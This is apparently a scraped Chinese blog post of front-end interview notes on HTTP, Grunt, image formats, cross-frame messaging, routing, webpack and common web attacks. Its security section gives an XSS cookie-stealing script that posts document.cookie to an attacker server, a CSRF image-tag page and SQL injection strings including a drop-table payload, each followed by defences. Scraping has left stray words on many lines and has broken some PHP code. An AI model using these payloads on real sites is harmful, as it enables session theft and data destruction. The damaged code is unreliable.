前端知識雜燴（綜合篇）
2.經常使用的比較簡單的grunt插件
3.如何實現瀏覽器內多個標籤頁之間的通訊?
4.http請求get和pos的區別
5.瀏覽器地址欄輸入一個地址請求的過程？
6.一個 POST 請求的 Content-Type 有多少種，傳輸的數據格式有何區別？
7.http、https、http/2
8.png、jpg、gif三種圖片格式的比較
9.JSON數據的解析和生成
10.父子頁面之間跨域通訊的方法
11.移動端點擊300ms延遲問題
12.爲何利用多個域名來存儲網站資源會更有效？
14.一個頁面上有大量的圖片（大型電商網站），加載很慢，你有哪些方法優化這些圖片的加載，給用戶更好的體驗。
15.響應式佈局兩三事
16.Angular和VueJS數據雙向綁定原理？（簡述）
17.前端動畫實現方式
18.常見Web安全問題及其解決方案（博大精深-這裏只能簡述）
19.響應式設計（responsive design）和自適應設計（adaptive design）不一樣？
20.前端路由原理（簡述，來不及整理）
21.談談你對webpack的見解
25. 移動端性能優化
1.實現頁面跳轉有哪些方式？
表單提交，超連接，location對象,還有window.open或者服務器跳轉javascript
2.經常使用的比較簡單的grunt插件
安裝這些插件的方式：npm install 插件名 --save-devphp
grunt-contrib-jshint用來檢測代碼grunt-contrib-less預處理編譯less文件grunt-contrib-concat打包靜態資源文件（通常指js和css文件）grunt-contrib-uglify簡化靜態資源（通常指js和css文件）grunt-spritesmith建立子圖集grunt-contrib-clean清理工做目錄grunt-contrib-watch監視文件系統的改變grunt-contrib-imagemin圖像壓縮
module.exports=function (grunt) { grunt.initConfig({ jshint: ['example.js'], less:{ compile:{ files:{ 'build/css/elements.css':"public/css/elements.less", } } }, concat: { js: { files: { 'build/js/bundle.js': 'public/js/**/*.js' } } }, uglify: { cobra: { files: { 'build/js/cobra.min.js': 'public/js/cobra.js' } } }, sprite: { icons: { src: 'public/img/icons/*.png', destImg: 'build/img/icons.png', destCSS: 'build/css/icons.css' } }, clean: { js: 'build/js', css:'build/css' } }); grunt.loadNpmTasks('grunt-contrib-jshint'); grunt.loadNpmTasks('grunt-contrib-less'); grunt.loadNpmTasks('grunt-contrib-concat'); grunt.loadNpmTasks('grunt-contrib-uglify'); grunt.loadNpmTasks('grunt-spritesmith'); grunt.loadNpmTasks('grunt-contrib-clean');};
3.如何實現瀏覽器內多個標籤頁之間的通訊?
- WebSocket、SharedWorker（最新版谷歌和火狐支持）；
- 也能夠調用localstorge、cookies等本地存儲方式；
localstorge另外一個瀏覽上下文裏被添加、修改或刪除時，它都會觸發一個storage事件，同源的其餘標籤頁也會觸發這個事件咱們經過監聽事件，經過設置值能夠來進行頁面信息通訊； - 在不支持HTML5的瀏覽器中，能夠經過window.opener傳值。在B頁面中可使用window.opener得到A頁面的window句柄，使用該句柄便可調用A頁面中的對象，函數等。例如A頁面定義js函數onClosePageB，在B頁面能夠用window.opener.onClosePageB來進行回調。
4.http請求get和pos的區別
先看一題：
請描述http請求get和post的區別，下面描述正確的有：css
A. GET用於信息獲取，並且應該是安全的和冪等的，POST表示可能修改變服務器上的資源的請求
C. GET方式提交的數據最多隻能是1024字節，理論上POST沒有限制，可傳較大量的數據
D. POST提交，把提交的數據放置在是HTTP包的包體中，GET提交的數據會在地址欄中顯示出來
牛客網上的一題，答案僅供參考：A/C/D
我的以爲，根據目前http應用的場合、瀏覽器環境、服務器環境，上面的答案不必定嚴謹html
Get方式:用get方式可傳送簡單數據，但大小通常限制在1KB下，數據追加到url中發送（http的header傳送），也就是說，瀏覽器將各個表單字段元素及其數據按照URL參數的格式附加在請求行中的資源路徑後面。另外最重要的一點是，它會被客戶端的瀏覽器緩存起來，那麼，別人就能夠從瀏覽器的歷史記錄中，讀取到此客戶的數據，好比賬號和密碼等。所以，在某些狀況下，get方法會帶來嚴重的安全性問題。
Post方式:當使用POST方式時，瀏覽器把各表單字段元素及其數據做爲HTTP消息的實體內容發送給Web服務器，而不是做爲URL地址的參數進行傳遞，使用POST方式傳遞的數據量要比使用GET方式傳送的數據量大的多。前端
總之，GET方式傳送數據量小，處理效率高，安全性低，會被緩存，而POST反之。java
大的來講，GET訪問瀏覽器認爲是等冪的，POST不是python
5.瀏覽器地址欄輸入一個地址請求的過程？
域名解析 –> 發起TCP的3次握手 –> 創建TCP鏈接後發起http請求 –> 服務器響應http請求，瀏覽器獲得html代碼 –> 瀏覽器解析html代碼，並請求html代碼中的資源（如js、css、圖片等） –> 瀏覽器對頁面進行渲染呈現給用戶。
補充：若是資源未過時，直接使用緩存的資源，收到請求的數據，若是容許緩存，須要對其進行緩存
具體流程以及涉及的知識點參考：[淺談HTTP事務的一個過程(http://www.cnblogs.com/LIUYANZUO/p/5428185.html)mysql
6.一個 POST 請求的 Content-Type 有多少種，傳輸的數據格式有何區別？
，HTTP 協議是以 ASCII 碼傳輸，創建在 TCP/IP 協議之上的應用層規範。規範把 HTTP 請求分爲三個部分：狀態行、請求頭、消息主體。相似於下面這樣： webpack
<method> <request-url> <version> //請求行<headers> //請求頭<entity-body></entity-body></headers></version></request-url></method> //消息實體
協議規定 POST 提交的數據必須放在消息主體（entity-body）中，但協議並無規定數據必須使用什麼編碼方式。實際上，開發者徹底能夠本身決定消息主體的格式，只要最後發送的 HTTP 請求知足上面的格式就能夠。
可是，數據發送出去，還要服務端解析成功纔有意義。通常服務端語言如 php、python 等，以及它們的 framework，都內置了自動解析常見數據格式的功能。服務端一般是根據請求頭（headers）中的 Content-Type 字段來獲知請求中的消息主體是用何種方式編碼，再對主體進行解析。因此說到 POST 提交數據方案，包含了 Content-Type 和消息主體編碼方式兩部分。
application/x-www-form-urlencoded
這應該是最多見的 POST 提交數據的方式了。瀏覽器的原生 form 表單，若是不設置 enctype 屬性，那麼最終就會以 application/x-www-form-urlencoded 方式提交數據css3
POST http://www.example.com HTTP/1.1 Content-Type: application/x-www-form-urlencoded;charset=utf-8 title=test&sub%5B%5D=1&sub%5B%5D=2&sub%5B%5D=3
multipart/form-data
這又是一個常見的 POST 數據提交的方式。咱們使用表單上傳文件時，必須讓 form 的 enctyped 等於這個值。
application/json
application/json 這個 Content-Type 做爲響應頭你們確定不陌生。實際上，如今愈來愈多的人把它做爲請求頭，用來告訴服務端消息主體是序列化後的 JSON 字符串。
POST http://www.example.com HTTP/1.1 Content-Type: application/json;charset=utf-8 {"title":"test","sub":[1,2,3]}
** text/xml**
7.http、https、http/2
http的隱患：
- 1. 與服務器進行通訊使用的是明文，內容可能會被竊聽（HTTP協議自己並不具有加密功能，因此沒法對請求和響應的內容進行加密）
- 2. 使用HTTP協議的服務器與客戶端都不會驗證通訊方的身份，可能遭遇假裝。（所謂不驗證通訊方身份的意思是，好比說服務端，在服務端接收到請求的時候，只要請求的信息正確，服務器並不會去驗證，這個請求是否由其對應的客戶端發出。而且，服務器會對請求當即作出一次響應，返回相應的數據）
- 3. 使用HTTP協議的服務器與客戶端都沒法驗證報文的完整性，因此在通訊過程當中，報文有可能會被篡改
等等。
特色
1) HTTP/1.0一次只容許在一個TCP鏈接上發起一個請求；HTTP/1.1流水線技術也只能部分處理請求併發，並仍然存在隊列頭阻塞問題，所以客戶端在須要發起屢次請求時，典型狀況下，一般採用創建多鏈接來減小延遲。
2) 單向請求，請求只能由客戶端發起。
3) 請求報文與響應報文首部信息冗餘量大。
4) 數據未壓縮，數據傳輸量大。
https:
爲了解決http協議的保密性（防泄密）、完整性（防篡改）、真實性（防假冒），發展出了https協議，HTTPS 是由 HTTP 協議+SSL 協議構成。SSL 協議經過對信息進行加密，爲網絡通訊提供安全保障。它運用了非對稱密鑰機制，這種機制是將公鑰自由對外分發，而私鑰只有信息接收者纔有。簡單的說，其實 HTTPS = HTTP + 加密 + 認證 + 完整性保護
HTTP/2的優點
相比 HTTP/1.x，HTTP/2 在底層傳輸作了很大的改動和優化：
- HTTP/2 採用二進制格式傳輸數據，而非 HTTP/1.x 的文本格式。二進制格式在協議的解析和優化擴展上帶來更多的優點和可能。
- HTTP/2 對消息頭採用 HPACK 進行壓縮傳輸，可以節省消息頭佔用的網絡的流量。而 HTTP/1.x 每次請求，都會攜帶大量冗餘頭信息，浪費了不少帶寬資源。頭壓縮可以很好的解決該問題。
- 多路複用，直白的說就是全部的請求都是經過一個 TCP 鏈接併發完成。HTTP/1.x 雖然能利用一個鏈接完成屢次請求，可是多個請求之間是有前後順序的，後面發送的請求必須等待上一個請求返回才能發送響應。這會很容易致使後面的請求被阻塞，而 HTTP/2 作到了真正的併發請求。同時， 流還支持優先級和流量控制。
- Server Push：服務端可以更快的把資源推送給客戶端。例如服務端能夠主動把 JS 和 CSS 文件推送給客戶端，而不須要客戶端解析 HTML 再發送這些請求。當客戶端須要的時候，它已經在客戶端了。
詳細參考：
HTTP/2 資料彙總
HTTP/2 與 WEB 性能優化（一）
HTTP/2 與 WEB 性能優化（一）
HTTP/2 與 WEB 性能優化（一）
8.png、jpg、gif三種圖片格式的比較
| 格式 | 壓縮模式 | 交錯支持 | 透明支持 | 動畫支持 |
|---|---|---|---|---|
| JPG | 有損壓縮 | 支持 | 不支持 | 不支持 |
| PNG | 無損壓縮 | 支持 | 支持 | 不支持 |
| GIF | 無損壓縮 | 支持 | 支持 | 支持 |
交錯支持：能夠先加載低分辨率，而後慢慢向高分辨率加載，大概也就是加載一個像素點隔開幾個，而後慢慢加載起來，這樣用戶就能先看到圖片的大概樣子而後慢慢獲得清晰的圖片而省去等待的時間。
總的來講：色彩單調，圖標比較小時選擇png和gif,網站內容裏，你真實拍攝的圖片，或者你下載的風景圖片，保持JPG來得到更好的顯示效果和體積,截圖通常選擇PNG。此外，若是你的圖片很是小，你甚至能夠考慮Base64。
WebP格式，谷歌開發的一種旨在加快圖片加載速度的圖片格式。同時支持無損和有損壓縮，也支持透明和動畫特性，圖片壓縮體積大約只有JPEG的2/3，能節省大量的服務器帶寬資源和數據空間，提升網頁加載速度。
9.JSON數據的解析和生成
JSON(JavaScript Object Notation) 是一種輕量級的數據交換格式。
它是基於JavaScript的一個子集。數據格式簡單, 易於讀寫, 佔用帶寬小
如：{"age":"12", "name":"back"}
JSON字符串轉換爲JSON對象:
var obj =eval('('+ str +')');var obj = JSON.parse(str);var obj = jQuery.parseJSON('{"name":"John"}');//使用Jquery
JSON對象轉換爲JSON字符串：
var last=JSON.stringify(obj);
因爲瀏覽器支持特性不一致，根據需求，也許要本身編寫json轉換方法或者使用第三方庫
10.父子頁面之間跨域通訊的方法
1.同域下父子頁面的通訊
- 父頁面調用子頁面的方法可經過：FrameName.window.childMethod();(這種方式兼容各類瀏覽器)
- 子頁面調用父頁面的方法：parent.window.parentMethod();
2.跨域父子頁面通訊方法
- iframe跨子域
這種狀況是說父頁面和子頁面的主域名相同， 二級域名不一樣,
能夠經過修改document.domain來跨子域（iframe），見參考文獻一 - 父子頁面來自不一樣域名主機
目前主要是經過代理頁面或者使用postMessageAPI來作，經過代理頁面參考文獻二，經過postMessageAPI參考文獻一的第四點或者文獻二最後的介紹。這裏主要介紹一下經過代理的方式，以下圖
父向子傳值
實現的技巧就是利用 location 對象的 hash 值，經過它傳遞通訊數據，咱們只須要在父頁面設置 iframe的 src 後面多加個#data 字符串（data就是你要傳遞的數據），而後在 子頁面中經過某種方式能即時的獲取到這兒 data 就能夠了，其實經常使用的一種方式就是：在 子頁面 中經過 setInterval 方法設置定時器， 監聽 location.href 的變化便可得到上面的 data 信息，若是是一次性傳遞數據，文獻二給出了另外一種方法若是它把src設置成a.com/proxy.html?args=XXX,也就是給url加 一個查詢字符串，proxy.html內的js是能夠讀取到的。對的，這個url的查詢字符串就是b.html和proxy.html之間通訊的橋樑.
子向父傳值
b.html與a.html是不能直接通訊的。咱們能夠在b.html下面再iframe內嵌一個proxy.html頁面，由於這個頁面是放在 a.com下面的，與a.html同域，因此它實際上是能夠和a.html直接通訊的，假如a.html裏面有定義一個方法_callback，在 proxy.html能夠直接top._callback()調用它。
僅作知識積累，未實際驗證，有時間再進一步總結
前端Js跨域方法彙總—剪不斷，理還亂，是跨域]
父子頁面之間跨域通訊的方法
嵌入式iframe子頁面與父頁面js通訊方式]
上面的三篇文章基本上涵蓋了全部的跨域狀況，建議詳細閱讀
11.移動端點擊300ms延遲問題
蘋果推出的雙擊縮放(double tap to zoom)，這也是會有上述 300 毫秒延遲的主要緣由。
因爲用戶能夠進行雙擊縮放或者雙擊滾動的操做，當用戶一次點擊屏幕以後，瀏覽器並不能馬上判斷用戶是確實要打開這個連接，仍是想要進行雙擊操做。
瀏覽器開發商的解決方案
- 方案一：禁用縮放
當HTML文檔頭部包含以下meta標籤時：
<meta name="viewport" content="user-scalable=no"><meta name="viewport" content="initial-scale=1,maximum-scale=1">
- 方案二：更改默認的視口寬度
<meta name="viewport" content="width=device-width">
這個方案相比方案一的好處在於，它沒有徹底禁用縮放，而只是禁用了瀏覽器默認的雙擊縮放行爲，但用戶仍然能夠經過雙指縮放操做來縮放頁面。
- 方案三：指針事件（CSS touch-action）
指針事件的提出並非爲了解決300ms點擊延遲的，而是爲了使用一個單獨的事件模型，對鼠標、觸摸、觸控等多種輸入類型進行統一的處理，跟300ms點擊延遲相關的，是touch-action這個CSS屬性。這個屬性指定了相應元素上可以觸發的用戶代理（也就是瀏覽器）的默認行爲。若是將該屬性值設置爲touch-action: none，那麼表示在該元素上的操做不會觸發用戶代理的任何默認行爲，就無需進行300ms的延遲判斷。
舊版本瀏覽器解決方案
方案一：指針事件的polyfill
Google 的 Polymer
微軟的 HandJS
@Rich-Harris 的 Points方案二：FastClick
FastClick 是 FT Labs 專門爲解決移動端瀏覽器 300 毫秒點擊延遲問題所開發的一個輕量級的庫。FastClick的實現原理是在檢測到touchend事件的時候，會經過DOM自定義事件當即出發模擬一個click事件，並把瀏覽器在300ms以後的click事件阻止掉。- 方案三：直接監聽touchstart事件(不完美)
12.爲何利用多個域名來存儲網站資源會更有效？
- CDN緩存更方便
- 突破瀏覽器併發限制
- 節約cookie帶寬
- 節約主域名的鏈接數，優化頁面響應速度
- 防止沒必要要的安全問題
14.一個頁面上有大量的圖片（大型電商網站），加載很慢，你有哪些方法優化這些圖片的加載，給用戶更好的體驗。
- 圖片懶加載，在頁面上的未可視區域能夠添加一個滾動條事件，判斷圖片位置與瀏覽器頂端的距離與頁面的距離，若是前者小於後者，優先加載。
- 若是爲幻燈片、相冊等，可使用圖片預加載技術，將當前展現圖片的前一張和後一張優先下載。
- 若是圖片爲css圖片，可使用CSSsprite，SVGsprite，Iconfont、Base64等技術。
- 若是圖片過大，可使用特殊編碼的圖片，加載時會先加載一張壓縮的特別厲害的縮略圖，以提升用戶體驗。
- 若是圖片展現區域小於圖片的真實大小，則因在服務器端根據業務須要先行進行圖片壓縮，圖片壓縮後大小與展現一致。
- 使用CDN,合理設置緩存時間
參考
BAT及各大互聯網公司2014前端筆試面試題–Html,Css篇
15.響應式佈局兩三事
單位
- em:相對於當前對象內文本的字體尺寸。
- rem:相對長度單位。相對於根元素(即html元素)計算值的倍數
- vw:相對於視口的寬度。視口被均分爲100單位的vw
- vh:相對於視口的高度。視口被均分爲100單位的vh
css媒體查詢
使用 @media 查詢，你能夠針對不一樣的媒體類型定義不一樣的樣式。
CSS 語法
@media mediatype and|not|only (media feature){ CSS-Code;}
你也能夠針對不一樣的媒體使用不一樣 stylesheets :
<link rel="stylesheet" media="mediatype and|not|only (media feature)" href="mystylesheet.css">
viewport
<meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no" />
彈性盒子佈局flex
博大精深，三言兩語說不清，請自行補充資料
16.Angular和VueJS數據雙向綁定原理？（簡述）
數據雙向綁定是不少MVVM框架的共同特性，比較流行的兩個框架就是Angular和VueJS，這兩個框架在實現數據雙向綁定的思路上是不一樣的。
首先，當視圖上數據改變時，能夠經過監聽DOM事件，來觸發模型數據的改變，再這一點上，兩個框架的思路應該是想通的（實際上，我並無驗證上面的說法，只是道聽途說，時間確實有限，只能先這樣了，等有時間研究框架，會仔細分析的）。
其次，當模型數據變化時須要更新視圖數據，對於這個實現，兩個框架是徹底不一樣的。
- Angular框架採用了觀察者模式，定義$watch函數，記錄要監聽的屬性，並將該屬性放到
$$watcher監聽列表裏面。而後再某些條件下觸發「髒值檢查」，將原對象複製一份快照，比較如今對象與快照的值，若是不同就代表發生了變化，以此更新視圖。這個策略要保留兩份變量，並且要遍歷對象，比較每一個屬性，這樣會有必定的性能問題，優勢是每次髒檢查能夠同時更新多個數據，改動model數據，主動執行$digest函數，能夠手動觸發髒值檢查。controller初始化的時候，全部以ng-開頭的事件執行後都會觸發髒檢查。 - VueJS使用的是Object.defineProperty定義對象屬性時，設置的getter/setter特性，每次設置新值時在setter函數內部比較新值和舊值，若是不一樣就通知視圖更新。在getter數據時，檢查屬性有沒有被watcher監控，若是沒有就添加上。使用這種方法的缺點是每次修改一個屬性都會觸發視圖更新，固然這也是它的優勢，還有一個缺點是Vue這個特性是ES5的實現，所以不能支持IE9如下的瀏覽器。
下面的三張圖節選自尤大大的演講PPT，大體說明了Angular、Vue、React的原理。
17.前端動畫實現方式
1.使用間歇調用和超時調用setTimeout、setInterval
2.使用requestAnimationFrame 會把每一幀中的全部DOM操做集中起來，在一次重繪或迴流中就完成，而且重繪或迴流的時間間隔牢牢跟隨瀏覽器的刷新頻率，通常來講，這個頻率爲每秒60幀。
3.CSS3動畫
18.常見Web安全問題及其解決方案（博大精深-這裏只能簡述）
- 跨站腳本攻擊（XSS）
概念
XSS 攻擊，一般指黑客經過「HTML 注入」篡改了網頁，插入了惡意的腳本，從而在用戶瀏覽網頁時， 控制用戶瀏覽器的一種攻擊。
舉例
好比你在某個網站起用戶名時帶上script標籤呢？咱們知道，瀏覽器遇到html中的script標籤的時候，會解析並執行標籤中的js腳本代碼，那麼若是你的用戶名稱裏面含有script標籤的話，就能夠執行其中的代碼了。
<?php $username="<script>alert('侯醫生');</script>";?>
假設用戶訪問你的主頁，就會彈窗,若是把script標籤裏的代碼改爲以下的代碼，豈不是能夠盜取用戶cookie
$.ajax({ url: '本身的服務器', dataType: 'jsonp', data: {'盜取的用戶cookie': document.cookie}});
防護
1.設置cookie時帶上HttpOnly,這樣cookie只能經過http發送，不能經過JavaScript獲取到
2.輸入檢查，檢查用戶的輸入是否合法，過濾腳本字段等
3.輸出檢查，即在變量輸出到HTML中時使用編碼或者轉義的方式
<div> 用戶名：<?php echo htmlentities($username);?> </div>
- 跨站點請求僞造（CSRF）
概念
跨站請求僞造，與XSS很是類似，但XSS是利用用戶對當前網站的信任來發起攻擊，而CSRF是利用網站對用戶的信任來發起攻擊。其實就是網站中的一些提交行爲，被黑客利用，你在訪問黑客的網站的時候，進行的操做，會被操做到其餘網站上(如：你所使用的網絡銀行的網站)。
舉例
好比，你開發的網站中，有一個購買商品的操做。你是這麼開發的：
用戶經過Get請求提交要購買的商品：
http://localhost:8082/lab/xsrflab/submit.php?pid=1
<?php// 從cookie中獲取用戶名，看似穩妥 $username = $_COOKIE['username']; $productId = $_GET['pid'];// 這裏進行購買操做 //store_into_database($username, $productId);?><meta charset="utf-8" /><?php echo $username . '買入商品：' . $productId;?>
而後去訪問黑客的網站
那麼，黑客的網站能夠這樣開發：
<!DOCYTPE HTML><html> <head> <meta charset="utf-8" /> </head> <body> <img src="http://localhost:8082/lab/xsrflab/submit.php?pid=1" /> </body></html>
經過img標籤的src屬性，這樣的話，用戶只須要訪問一次黑客的網站，其實就至關於在你的網站中，操做了一次。然而用戶卻沒有感知。
防護
1.加入驗證碼
2.用戶進入操做頁面的時候綁定令牌到隱藏input，服務端進行令牌的校驗
3.Referer Check-檢查報頭中的Referer參數確保請求發自正確的網站（但XHR請求可調用setRequestHeader方法來修改Referer報頭）
- SQL注入
概念
SQL注入是因爲數據庫執行語句拼接了用戶輸入的數據
舉例
好比有一個圖書館站點book.com，你點進一本書的詳情頁面，其url是這樣的：
book.com/book?id=100
說明這本書在數據庫中的鍵值是100，後端收到url參數後就執行了數據庫查詢操做：
select * from booktable where id='100'
那麼若是咱們把url更改成
book.com/book?id=100'or'1'='1
那麼數據庫操做執行就變成了：
select * from booktable where id='100'or'1'='1'
從而取出了整個booktable 表單的所有數據，若是我在後面插入一條刪除表的語句，等。。。危險的SQL語句，那就GAME OVER了。
select * from booktable where id='100';drop table booktable'
防護
1.用戶輸入作一些 escape 處理，能起到必定的效果。
$sql ="SELECT * FROM booktable WHERE id=".mysql_real_escape_string($_GET['id]);
由於mysql_real_escape_string()僅能轉義單引號、雙引號等部分字符
2.防護 SQL 注入的最佳方式， 就是使用預編譯語句，綁定變量。也就是說SQL語句不要使用拼接的方式，都使用參數化的方式，這樣就不會出現SQL注入的問題了.
好比Php實現
$query = 「INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)";$stmt = $mysqli->prepare($query);$stmt->bindpaxam("sss", $vall, $val2, $val3)$vall ='Stuttgart';$val2='DEU';$val3='xxx';/* Execute the statement */$stmt->execute()
- 網絡劫持（HTTP劫持）
在公共場全部不少免費的WIFI，有些免費的WIFI會對HTTP進行劫持，而後修改html注入廣告，網絡供應商也會進行HTTP劫持 ， 如使用移動網絡的時候常常會出現移動廣告。能夠將HTTP替換成HTTPS這樣，劫持後沒有證書沒法進行解密，就沒法注入廣告了。 - DDOS攻擊
DDOS 又稱爲分佈式拒絕服務， 全稱是 Distributed Denial of Service。DDOS 本是利用合理的請求形成資源過載，致使服務不可用。
防護
1.一個不完美的防護方法。經過IP和Cookie定位一個客戶端，限制單個客戶端的請求頻率。可是攻擊者可使用代理服務器隱藏真實IP。
2.加驗證碼限制
參考
建議讀《白帽子講Web安全》
19.響應式設計（responsive design）和自適應設計（adaptive design）不一樣？
自適應佈局（Adaptive Layout）
自適應佈局（Adaptive）的特色是分別爲不同的屏幕分辨率定義佈局。佈局切換時頁面元素髮生改變，但在每一個佈局中，頁面元素不隨窗口大小的調整發生變化。就是說你看到的頁面，裏面元素的位置會變化而大小不會變化；你能夠把自適應佈局看做是靜態佈局的一個系列。
流式佈局（Liquid Layout）
流式佈局（Liquid）的特色（也叫"Fluid") 是頁面元素的寬度按照屏幕進行適配調整，主要的問題是若是屏幕尺度跨度太大，那麼在相對其原始設計而言太小或過大的屏幕上不能正常顯示。
響應式佈局（Responsive Layout）
分別爲不一樣的屏幕分辨率定義佈局，同時，在每一個佈局中，應用流式佈局的理念，即頁面元素寬度隨着窗口調整而自動適配。能夠把響應式佈局看做是流式佈局和自適應佈局設計理念的融合。
20.前端路由原理（簡述，來不及整理）
在單頁應用上，前端路由並不陌生。單頁應用是指在瀏覽器中運行的應用，在使用期間頁面不會從新加載。
- 基本原理一:以 hash 形式（也可使用 History API 來處理）爲例，當 url 的 hash 發生改變時，觸發 hashchange 註冊的回調，回調中去進行不一樣的操做，進行不一樣的內容的展現。
基本原理如實例：
<ul> <li><a href="#/">turn white</a></li> <li><a href="#/blue">turn blue</a></li> <li><a href="#/green">turn green</a></li> </ul>
function refresh() { var hash=window.location.slice(1) || '/'; //而後根據hash值來進行相應的操做，注意這裏的操做並不意味着 //頁面跳轉}window.addEventListener('hashchange',refresh,false);
- 基於hash的前端路由優勢是：能兼容低版本的瀏覽器。
history 是 HTML5 纔有的新 API，能夠用來操做瀏覽器的 session history (會話歷史)。它能夠真正在改變瀏覽器地址欄中的url的同時，不去刷新整個頁面。history接口的詳細方法清單以下：
interface History { readonly attribute long length; readonly attribute any state; void go(optional long delta); void back(); void forward(); void pushState(any data, DOMString title, optional DOMString? url = null); void replaceState(any data, DOMString title, optional DOMString? url = null);};
而要實現改變地址欄中的url的功能要使用到的方法是pushState,它的第三個參數指的即爲在地址欄中想要顯示的url(前面兩個參數，一個是要傳遞的數據，一個是新頁面的title,可是好像如今還不支持)，以下：
window.history.pushState(null, null, "http://xxxx/url1");
簡單地利用history.pushState，雖然能夠實現無刷新地址跳轉，但並無解決在瀏覽器中前進後退，內容並無相應改變這個問題，此時就須要用到window.onpopstate事件了，當頁面地址發生改變時，便會觸發window對象的onpopstate事件，而咱們只要在pushState的同時將當前頁面的參數傳遞給瀏覽器，並在onpopstate事件中做出相應即可以了：
history.pushState({title: '頁面標題', html: '頁面HTML'}, '', 'newpage.html');window.onpopstate = function(event){ if(event && event.state){ document.title = event.state.title; document.body.innerHTML = event.state.html; }}
參考：操縱歷史，利用HTML5 History API實現無刷新跳轉
21.談談你對webpack的見解
WebPack 是一個模塊打包工具，你可使用WebPack管理你的模塊依賴，並編繹輸出模塊們所需的靜態文件。它可以很好地管理、打包Web開發中所用到的HTML、Javascript、CSS以及各類靜態文件（圖片、字體等），讓開發過程更加高效。對於不一樣類型的資源，webpack有對應的模塊加載器。webpack模塊打包器會分析模塊間的依賴關係，最後 生成了優化且合併後的靜態資源。
webpack的兩大特點：
1.code splitting（能夠自動完成）2.loader 能夠處理各類類型的靜態文件，而且支持串聯操做
webpack 是以commonJS的形式來書寫腳本滴，但對 AMD/CMD 的支持也很全面，方便舊項目進行代碼遷移。
webpack具備requireJs和browserify的功能，但仍有不少本身的新特性：
1. 對 CommonJS 、 AMD 、ES6的語法作了兼容
2. 對js、css、圖片等資源文件都支持打包
3. 串聯式模塊加載器以及插件機制，讓其具備更好的靈活性和擴展性，例如提供對CoffeeScript、ES6的支持
4. 有獨立的配置文件webpack.config.js
5. 能夠將代碼切割成不一樣的chunk，實現按需加載，下降了初始化時間
6. 支持 SourceUrls 和 SourceMaps，易於調試
7. 具備強大的Plugin接口，大可能是內部插件，使用起來比較靈活
8.webpack 使用異步 IO 並具備多級緩存。這使得 webpack 很快且在增量編譯上更加快
25. 移動端性能優化
- 儘可能使用css3動畫，開啓硬件加速。
- 適當使用
touch事件代替click事件。 - 避免使用
css3漸變陰影效果。 - 能夠用
transform: translateZ(0)來開啓硬件加速。 - 不濫用Float。Float在渲染時計算量比較大，儘可能減小使用
- 不濫用Web字體。Web字體須要下載，解析，重繪當前頁面，儘可能減小使用。
- 合理使用requestAnimationFrame動畫代替setTimeout
- CSS中的屬性（CSS3 transitions、CSS3 3D transforms、Opacity、Canvas、WebGL、Video）會觸發GPU渲染，請合理使用。過渡使用會引起手機過耗電增長
- PC端的在移動端一樣適用
- 1. 前端知識雜燴（Javascript篇）
- 2. (原)前端知識雜燴（css系列）
- 3. (原)前端知識雜燴（meta系列）
- 4. 前端大雜燴
- 5. Generator知識點雜燴
- 6. 理論知識大雜燴
- 7. 前端素材大雜燴
- 8. 前端問題大雜燴
- 9. 前端開發基礎知識整理--web綜合篇
- 10. 前端知識點雜記
- 更多相關文章...
- • 與傳輸層有關的基本知識 - TCP/IP教程
- • PHP 雜項 函數 - PHP參考手冊
- • 使用阿里雲OSS+CDN部署前端頁面與加速靜態資源
- • Docker容器實戰(一) - 封神Server端技術
-
每一个你不满意的现在，都有一个你没有努力的曾经。
- 1. 前端知識雜燴（Javascript篇）
- 2. (原)前端知識雜燴（css系列）
- 3. (原)前端知識雜燴（meta系列）
- 4. 前端大雜燴
- 5. Generator知識點雜燴
- 6. 理論知識大雜燴
- 7. 前端素材大雜燴
- 8. 前端問題大雜燴
- 9. 前端開發基礎知識整理--web綜合篇
- 10. 前端知識點雜記